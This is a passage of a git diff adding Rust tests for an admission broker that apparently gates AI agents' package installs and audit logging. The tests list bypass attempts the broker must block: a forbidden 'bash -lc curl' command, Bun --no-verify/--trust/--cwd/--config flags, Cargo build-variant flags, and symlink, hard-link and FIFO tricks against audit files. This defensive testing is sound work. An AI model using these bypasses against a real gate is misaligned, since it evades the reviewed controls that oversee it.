r#"{"ecosystem":"npm","name":"@cwl/example","version":"1.2.3","registry_url":"https://registry.npmjs.org","owner":"ContextualWisdomLab","sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","artifact_argument":"@cwl/example@1.2.3","extra":true}"# + ) + .is_err()); +} + +#[test] +fn remote_sources_require_https_uri_and_digest() { + let mut policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + policy.approved_artifacts[0].owner = "Unowned".to_string(); + intent.source.uri = Some("http://example.invalid/llms.txt?raw=1#frag".to_string()); + intent.source.content_sha256 = None; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "invalid_source_uri") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_source_digest") + ); +} + +#[test] +fn forbidden_commands_block_even_when_allowlisted() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["bash".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + let intent = InstallIntent { + request_id: "req-test-0002".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["bash".to_string(), "-lc".to_string(), "curl x".to_string()], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: wardnet_agent_artifact_admission::InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "shell".to_string(), + name: "bash".to_string(), + version: "5.0.0".to_string(), + registry_url: "https://example.invalid".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "bash".to_string(), + }], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + +#[test] +fn npm_installs_require_ignore_scripts_and_source_uri_is_normalized() { + let policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + ]; + intent.source.uri = Some("https://example.invalid/llms.txt?raw=1#frag".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag") + ); +} + +fn approved_policy_for_test() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs new file mode 100644 index 00000000..b927e53f --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -0,0 +1,245 @@ +use std::fs; +#[cfg(target_os = "linux")] +use std::os::unix::fs::{MetadataExt, PermissionsExt}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditSink, FileAuditSink, InstallIntent, MemoryAuditSink, admission_decision, + build_audit_record, +}; + +fn sensitive_blocked_attempt() -> ( + InstallIntent, + wardnet_agent_artifact_admission::AdmissionDecision, +) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv.push("sk-test-secret-raw-command".to_string()); + intent.source.uri = Some( + "https://example.invalid/llms.txt?token=sk-test-secret-query#secret-fragment".to_string(), + ); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + (intent, decision) +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after the Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}.ndjson", + std::process::id() + )) +} + +#[test] +fn audit_record_minimizes_untrusted_command_and_source_data() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let json = serde_json::to_string(&record).expect("audit record must serialize"); + + assert!(record.timestamp_unix_ms > 0); + assert_eq!(record.request_id, intent.request_id); + assert_eq!(record.actor_id, intent.actor_id); + assert_eq!(record.workspace_id, intent.workspace_id); + assert_eq!(record.operation, "install"); + assert_eq!(record.command_sha256, decision.command_sha256); + assert_eq!(record.request_body_sha256, None); + assert_eq!(record.manifest_sha256, Some(intent.manifest_sha256.clone())); + assert_eq!( + record.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert_eq!(record.artifacts.len(), 1); + assert_eq!(record.artifacts[0].name, "@unowned/example"); + assert_eq!( + record.artifacts[0].sha256, + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + ); + + assert!(!json.contains("sk-test-secret-raw-command")); + assert!(!json.contains("sk-test-secret-query")); + assert!(!json.contains("secret-fragment")); + assert!(!json.contains("artifact_argument")); + assert!(!json.contains("\"argv\"")); +} + +#[test] +fn memory_sink_preserves_complete_records_in_append_order() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = MemoryAuditSink::default(); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let records = sink.records().expect("memory audit snapshot must succeed"); + assert_eq!(records, vec![record.clone(), record]); +} + +#[test] +fn file_sink_appends_complete_synchronized_ndjson_records() { + let path = temp_path("append"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path.clone()); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let body = fs::read_to_string(&path).expect("audit file must be readable"); + let lines: Vec<_> = body.lines().collect(); + assert_eq!(lines.len(), 2); + for line in lines { + let parsed: serde_json::Value = + serde_json::from_str(line).expect("each audit line must be complete JSON"); + assert_eq!(parsed["request_id"], intent.request_id); + } + + let _ = fs::remove_file(path); +} + +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_existing_regular_file_with_group_or_other_permissions() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + + for mode in [0o666, 0o640, 0o604] { + let path = temp_path(&format!("unsafe-mode-{mode:o}")); + fs::write(&path, b"existing-audit-record\n").expect("audit fixture must write"); + fs::set_permissions(&path, fs::Permissions::from_mode(mode)) + .expect("audit fixture permissions must be set"); + let sink = FileAuditSink::new(path.clone()); + + assert!( + sink.append(&record).is_err(), + "pre-existing audit file mode {mode:o} must fail closed before security evidence is appended" + ); + assert_eq!( + fs::read(&path).expect("audit fixture must remain readable"), + b"existing-audit-record\n", + "unsafe pre-existing audit storage must remain unmodified" + ); + + let _ = fs::remove_file(path); + } +} + +#[cfg(target_os = "linux")] +#[test] +fn file_sink_accepts_existing_owner_only_regular_file() { + let path = temp_path("existing-owner-only"); + fs::write(&path, b"existing-audit-record\n").expect("audit fixture must write"); + fs::set_permissions(&path, fs::Permissions::from_mode(0o600)) + .expect("audit fixture must be owner-only"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path.clone()); + + sink.append(&record) + .expect("owner-only pre-existing audit storage must remain appendable"); + let body = fs::read_to_string(&path).expect("audit file must be readable"); + assert_eq!(body.lines().count(), 2); + + let _ = fs::remove_file(path); +} + +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_hard_linked_owner_only_regular_file() { + let target = temp_path("hard-link-target"); + let path = temp_path("hard-link-audit"); + let original = b"sensitive-owner-only-file\n"; + fs::write(&target, original).expect("hard-link target fixture must write"); + fs::set_permissions(&target, fs::Permissions::from_mode(0o600)) + .expect("hard-link target must be owner-only"); + fs::hard_link(&target, &path).expect("audit hard-link fixture must be created"); + + let target_metadata = fs::metadata(&target).expect("target metadata must be readable"); + let audit_metadata = fs::metadata(&path).expect("audit metadata must be readable"); + assert_eq!(target_metadata.ino(), audit_metadata.ino()); + assert!(target_metadata.nlink() > 1); + + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path.clone()); + + assert!( + sink.append(&record).is_err(), + "multiply-linked audit storage must fail closed before mutating the shared inode" + ); + assert_eq!( + fs::read(&target).expect("hard-link target must remain readable"), + original, + "the aliased target must remain byte-identical" + ); + assert_eq!( + fs::read(&path).expect("audit hard link must remain readable"), + original, + "the configured audit path must remain byte-identical" + ); + + let _ = fs::remove_file(path); + let _ = fs::remove_file(target); +} + +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_symlinked_parent_directory_without_writing() { + let target_directory = temp_path("parent-symlink-target").with_extension(""); + let configured_root = temp_path("parent-symlink-root").with_extension(""); + let symlinked_parent = configured_root.join("linked"); + fs::create_dir_all(&target_directory).expect("target directory fixture must be created"); + fs::create_dir_all(&configured_root).expect("configured root fixture must be created"); + std::os::unix::fs::symlink(&target_directory, &symlinked_parent) + .expect("parent symlink fixture must be created"); + + let configured_path = symlinked_parent.join("audit.ndjson"); + let resolved_target = target_directory.join("audit.ndjson"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(configured_path); + + let append_result = sink.append(&record); + let redirected_file_was_created = resolved_target.exists(); + + let _ = fs::remove_file(&resolved_target); + let _ = fs::remove_file(&symlinked_parent); + let _ = fs::remove_dir(&configured_root); + let _ = fs::remove_dir(&target_directory); + + assert!( + append_result.is_err(), + "audit storage must fail closed when any parent path component is a symlink" + ); + assert!( + !redirected_file_was_created, + "audit evidence must not be created through a symlinked parent directory" + ); +} + +#[test] +fn file_sink_rejects_oversized_serialized_record_without_writing() { + let path = temp_path("oversized"); + let (mut intent, decision) = sensitive_blocked_attempt(); + intent.actor_id = "x".repeat(70 * 1024); + let mut record = build_audit_record(&intent, &decision).expect("audit record must build"); + record.policy_id = "x".repeat(70 * 1024); + let sink = FileAuditSink::new(path.clone()); + + assert!(sink.append(&record).is_err()); + assert!(!path.exists()); +} + +#[test] +fn file_sink_reports_deterministic_storage_failure() { + let path = temp_path("missing-parent") + .with_extension("") + .join("audit.ndjson"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path); + + assert!(sink.append(&record).is_err()); +} diff --git a/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs new file mode 100644 index 00000000..b1b557ab --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_path_safety_contract.rs @@ -0,0 +1,85 @@ +#![cfg(target_os = "linux")] + +use std::fs; +use std::os::unix::fs::{PermissionsExt, symlink}; +use std::process::Command; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditError, AuditRecord, AuditSink, FileAuditSink, InstallIntent, + admission_decision, build_audit_record, +}; + +const UMASK_HELPER_PATH: &str = "WARDNET_AUDIT_UMASK_HELPER_PATH"; + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn blocked_record() -> AuditRecord { + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + build_audit_record(&intent, &decision).expect("audit record must build") +} + +#[test] +fn file_sink_rejects_final_symlink_without_modifying_target() { + let target = temp_path("audit-symlink-target"); + let audit_path = temp_path("audit-symlink-path"); + fs::write(&target, b"sentinel\n").expect("sentinel target must be created"); + symlink(&target, &audit_path).expect("audit symlink must be created"); + + let result = FileAuditSink::new(audit_path.clone()).append(&blocked_record()); + + assert_eq!(result, Err(AuditError::StorageUnavailable)); + assert_eq!( + fs::read(&target).expect("sentinel target must remain readable"), + b"sentinel\n" + ); + + let _ = fs::remove_file(audit_path); + let _ = fs::remove_file(target); +} + +#[test] +fn newly_created_audit_file_is_private_even_with_permissive_umask() { + let audit_path = temp_path("audit-private-mode"); + let executable = std::env::current_exe().expect("current test executable must resolve"); + let status = Command::new("sh") + .arg("-c") + .arg("umask 000; exec \"$0\" --exact audit_creation_under_permissive_umask_helper --nocapture") + .arg(executable) + .env(UMASK_HELPER_PATH, &audit_path) + .status() + .expect("isolated umask helper must start"); + assert!(status.success(), "isolated umask helper must succeed"); + + let mode = fs::metadata(&audit_path) + .expect("audit file must exist") + .permissions() + .mode(); + assert_eq!( + mode & 0o077, + 0, + "audit evidence must not grant group/other permissions" + ); + + let _ = fs::remove_file(audit_path); +} + +#[test] +fn audit_creation_under_permissive_umask_helper() { + let Ok(path) = std::env::var(UMASK_HELPER_PATH) else { + return; + }; + FileAuditSink::new(path) + .append(&blocked_record()) + .expect("audit append under isolated umask must succeed"); +} diff --git a/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs new file mode 100644 index 00000000..0eaaa152 --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_special_file_safety_contract.rs @@ -0,0 +1,91 @@ +#![cfg(target_os = "linux")] + +use std::fs; +use std::process::{Command, Stdio}; +use std::thread; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditError, AuditRecord, AuditSink, FileAuditSink, InstallIntent, + admission_decision, build_audit_record, +}; + +const FIFO_HELPER_PATH: &str = "WARDNET_AUDIT_FIFO_HELPER_PATH"; +const HELPER_DEADLINE: Duration = Duration::from_secs(3); + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn blocked_record() -> AuditRecord { + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + build_audit_record(&intent, &decision).expect("audit record must build") +} + +#[test] +fn file_sink_rejects_fifo_without_blocking_on_open() { + let fifo_path = temp_path("audit-fifo"); + let mkfifo = Command::new("mkfifo") + .arg(&fifo_path) + .status() + .expect("mkfifo must be available on the Linux test runner"); + assert!(mkfifo.success(), "FIFO fixture must be created"); + + let executable = std::env::current_exe().expect("current test executable must resolve"); + let mut child = Command::new(executable) + .arg("--exact") + .arg("audit_fifo_open_helper") + .arg("--nocapture") + .env(FIFO_HELPER_PATH, &fifo_path) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .expect("isolated FIFO helper must start"); + + let deadline = Instant::now() + HELPER_DEADLINE; + let status = loop { + match child + .try_wait() + .expect("FIFO helper status must be readable") + { + Some(status) => break Some(status), + None if Instant::now() < deadline => thread::sleep(Duration::from_millis(25)), + None => break None, + } + }; + + let _ = fs::remove_file(&fifo_path); + + match status { + Some(status) => assert!( + status.success(), + "audit FIFO helper must reject the special file through the stable storage error" + ), + None => { + let _ = child.kill(); + let _ = child.wait(); + panic!( + "audit append blocked while opening a FIFO; special audit files must fail closed promptly" + ); + } + } +} + +#[test] +fn audit_fifo_open_helper() { + let Ok(path) = std::env::var(FIFO_HELPER_PATH) else { + return; + }; + + let result = FileAuditSink::new(path).append(&blocked_record()); + assert_eq!(result, Err(AuditError::StorageUnavailable)); +} diff --git a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs new file mode 100644 index 00000000..2915433b --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs @@ -0,0 +1,77 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_no_verify_cannot_disable_registry_integrity_verification() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--no-verify".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --no-verify must not weaken integrity verification for an approved artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "Bun --no-verify must produce missing_safety_flag" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-integrity-bypass".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs new file mode 100644 index 00000000..8e05d0fa --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -0,0 +1,122 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { + for scope_arguments in [ + vec!["--cwd=/tmp/unreviewed"], + vec!["--cwd", "/tmp/unreviewed"], + vec!["--filter=./packages/unreviewed"], + vec!["--filter", "./packages/unreviewed"], + vec!["-F=./packages/unreviewed"], + vec!["-F", "./packages/unreviewed"], + ] { + let label = scope_arguments.join(" "); + let (policy, mut intent) = bun_install_case(); + intent.argv.extend( + scope_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {label} must not move an approved install into an unreviewed workspace scope" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Bun {label} must produce alternate_install_root" + ); + } +} + +#[test] +fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { + for config_arguments in [ + vec!["--config=/tmp/unreviewed-bunfig.toml"], + vec!["--config", "/tmp/unreviewed-bunfig.toml"], + ] { + let label = config_arguments.join(" "); + let (policy, mut intent) = bun_install_case(); + intent.argv.extend( + config_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {label} must not load an unreviewed registry or scope configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun {label} must produce alternate_trust_root" + ); + } +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-scope-escape".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs new file mode 100644 index 00000000..2d16a523 --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs @@ -0,0 +1,77 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_trust_flag_cannot_expand_persistent_script_execution_authority() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--trust".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --trust must not let one admitted install enlarge trustedDependencies for future script execution" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun --trust must produce alternate_trust_root" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs new file mode 100644 index 00000000..1e84df60 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs @@ -0,0 +1,97 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_build_variant_selectors_cannot_change_an_approved_artifact_install() { + // Cargo documents these selectors as changing the activated feature set or + // selected build output. The current artifact coordinate does not bind that + // build variant, so callers must not be able to add one after approval. + for variant_arguments in [ + vec!["--features=dangerous"], + vec!["-Fdangerous"], + vec!["--all-features"], + vec!["--no-default-features"], + vec!["--bin=alternate"], + vec!["--example=diagnostic"], + vec!["--profile=dev"], + vec!["--target=wasm32-wasip1"], + vec!["--debug"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(variant_arguments.iter().map(|value| (*value).to_string())); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "unreviewed Cargo build variant {variant_arguments:?} must not change an approved install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unbound Cargo build variants must produce the stable artifact_not_approved reason: {variant_arguments:?}" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-build-variant-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-build-variant".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs new file mode 100644 index 00000000..832e24c3 --- 